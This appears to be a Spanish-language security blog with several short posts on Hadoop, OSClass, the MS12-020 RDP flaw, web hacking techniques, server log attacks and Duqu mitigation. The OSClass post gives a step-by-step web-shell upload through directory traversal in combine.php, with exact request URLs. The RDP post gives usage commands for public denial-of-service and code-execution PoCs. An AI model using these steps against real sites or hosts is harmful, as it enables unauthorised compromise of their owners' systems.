Es seguro el Cloud Computing? - Apache Hadoop

     Apache Hadoop es un proyecto inicializado por Yahoo, brinda la capacidad de manejar grandes volumenes de datos en clusters, en el 2009 logró batir un record mundial ordenando 1 Terabyte de datos en 62 segundos. Recientemente se reporto una grave vulnerabilidad que Hadoop presenta y  permitiría impersonalizar usuarios. Impersonalizar es la capacidad que tiene un proceso/thread de ejecutarse en el contexto de seguridad de otro proceso/thread que no es su padre, esto podría ser aprovechado por un atacante realizar una escala de privilegios, o suplantar procesos de otro usuario.

     Recuerdo que esta vulnerabilidad le dio mas de un dolor de cabeza a la gente de Microsoft, cuando el investigador Cesar Cerrudo descubrió la falla en Windows, escribió y describió como explotarla.
Por el momento no se dieron mas detalles de la vulnerabilidad de Apache Hadoop.

     Y quienes utilizan Apache Hadoop? solo por nombrar algunas companias, Facebook, Google, Yahoo (cloud computing), Linkedln, IBM, Amazon, etc.

Para más informacion ...

http://secunia.com/advisories/48715/
http://developer.yahoo.com/hadoop/
http://sortbenchmark.org/

Como subir una shell en OSClass

     OSClass es un gestor de contenidos (del tipo Joomla o Wordpress) enfocado a la creación de sitios webs de avisos clasificados. Este mini howto, aprovecha una vulnerabilidad encontrada en OSClass, que nos permitirá subir un archivo (en nuestro caso una shell =)

1º Elegir la web shell q mas te guste :P
2º Subir la shell como una imagen para un nuevo item
3º Aprovechamos la falta de saneamiento de la variable "type" del archivo "combine.php", para copiarlo a la carpeta "/oc-content/uploads", o sea a la misma carpeta donde se subió nuestra shell como imagen
http://127.0.0.1/osclass/oc-content/themes/modern/combine.php?type=./../../uploads/combine.php&files=combine.php
4º Utilizamos el combine.php que copiamos en el punto anterior para mover y renombrar nuestra shell
http://127.0.0.1/osclass/oc-content/uploads/combine.php?files=5_original.jpg&type=/../../remote.php
5º Sal y pimienta a gusto.. http://127.0.0.1/osclass/remote.php

todo esta perdido para la gente que utiliza este CMS?? por supuesto que no.. solo deben actualizar a la version 2.3.6 o parsea la variable type!

Para más información ...

http://www.codseq.it/advisories/osclass_directory_traversal_vulnerability
http://osclass.org/

Falla critica en el Escritorio Remoto de Windows

     Comenzaron a aparecer alguno exploits referentes a la nueva vulnerabilidad reportada por Microsoft que afecta a todas las versiones de Windows que tengan habilitada el acceso a escritorio remoto (RPD), esta falla esta catalogada como critica y se encuentra en el campo maxChannelIds  del paquete ConnectMCSPDU, que permitiría la ejecución de códigos arbitrarios, para los mas curiosos y aqui les dejo dos PoC's que aprovechan esta falla ...

     El primero esta escrito en python lo podes descargar desde aquí
Uso: python rpcexploit.py <ip-objetivo>

     Otra variante podes descargarla desde este link
Uso: $ nc <ip-objetivo> 3389 < termdd_1.dat

y por ultimo, también hay una variantes en ruby http://pastie.org/private/feg8du0e9kfagng4rrg

Para mas información ...

http://aluigi.org/adv/termdd_1-adv.txt
http://www.slideshare.net/alisaesage/hacking-microsoft-remote-desktop-services-for-fun-and-profit
http://technet.microsoft.com/en-us/security/bulletin/ms12-020

Las mejores 15 técnicas de hacking

     Es sorprendente la cantidad de técnicas de hacking que se inventan (y reinventan) día a día, en el blog de White Hat Security hicieron un compilado de alguna de ellas, hasta que llegaron a las 15 más destacadas, entre las cuales, mañana 26 de febrero se elegirá las 10 mejores.

     Si te gusta las seguridad web o quieres aprender motu proprio y ser un hacker ;) entonces el listado que se muestra mas abajo (ordenado alfabéticamente) te sera de mucha utilidad. El termino "Hacker" es muy amplio y según el contexto en el que nos situemos puede tener connotaciones positivas o negativas, pero este "titulo" no puede otorgarse a si mismo, sino que es un reconocimiento de otras personas hacia tí.

1. Abusing Flash-Proxies for client-side cross-domain HTTP requests
2. Abusing HTTP Status Codes to Expose Private Information
3. Autocomplete..again?!
4. BEAST
5. Bypassing Chrome’s Anti-XSS filter
6. CAPTCHA Hax With TesserCap
7. Cookiejacking
8. CSRF: Flash + 307 redirect = Game Over
9. DNS poisoning via Port Exhaustion
10. DOMinator – Finding DOMXSS with dynamic taint propagation
11. Expression Language Injection
12. Java Applet Same-Origin Policy Bypass via HTTP Redirect
13. JSON-based XSS exploitation
14. Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java
15. Session Puzzling 

Para más información:

https://blog.whitehatsec.com/vote-now-top-ten-web-hacking-techniques-of-2011/

Ataques fails

     Hace un par de días, mirando los logs del servidor que administro me doy con intentos de ataques provenientes de varias ips, en principio todas los peticiones provenían de Italia y Corea, pero al pasar el tiempo comenzaron a aparecer diferentes origenes, la mayoría lucen así ...

     Lo que me llamó la atención es la insistencia para atacar el script AWStats (mas de 1.000 peticiones), también hay otras peticiones curiosas. Seguramente solo se trato de un bot que paso por el server, de todas formas nunca esta de mas tener a mano ciertas herramientas o al menos conocer sobre IDS (sistemas de detección de intrusos) o algún que otro anti-rootkit, actualmente estoy probando Root Kit Hunter y se porta muy bien.
     Ah... porque me llamaron la atención estas insistentes peticiones?, simplemente porque no utilizo AWStats!!! ¬ ¬

Stop Duqu !!

     Últimamente estuvo haciendo mucho eco este virus que se propaga por correo afectando a S.O. Windows, en Bélgica tuvieron que cerrar un servidor que era utilizado por Duqu para albergar la información robada de las maquinas afectadas.

     La vulnerabilidad que aprovecha este malware residen en el motor de TrueType font, que le permitiría ejecutar código arbitrario en modo kernel. Los investigadores de Microsoft ya se encuentran trabajando sobre una actualización con respecto a este problema. Hasta entonces se pude mitigar la vulnerabilidad denegando el acceso a la libreria t2embed.dll de la siguiente manera:

Para Windows Server 2003

Echo y| cacls "%windir%\system32\t2embed.dll" /E /P everyone:N

Para Windows Server 2008

Takeown.exe /f "%windir%\system32\t2embed.dll"
Icacls.exe "%windir%\system32\t2embed.dll" /deny everyone:(F)

Para mas información ...

http://technet.microsoft.com/en-us/security/advisory/2639658

Jornadas - U.N.Ju.

     Eh aquí lo prometido, en la siguiente dirección podrán descargar las presentaciones de las Jornadas, correspondiente a los temas Hacking Windows y Securizacion Apache.

http://web.iclaro.com.ar/FileCabinet/administrador@iclaro.com.ar

     Saludos!!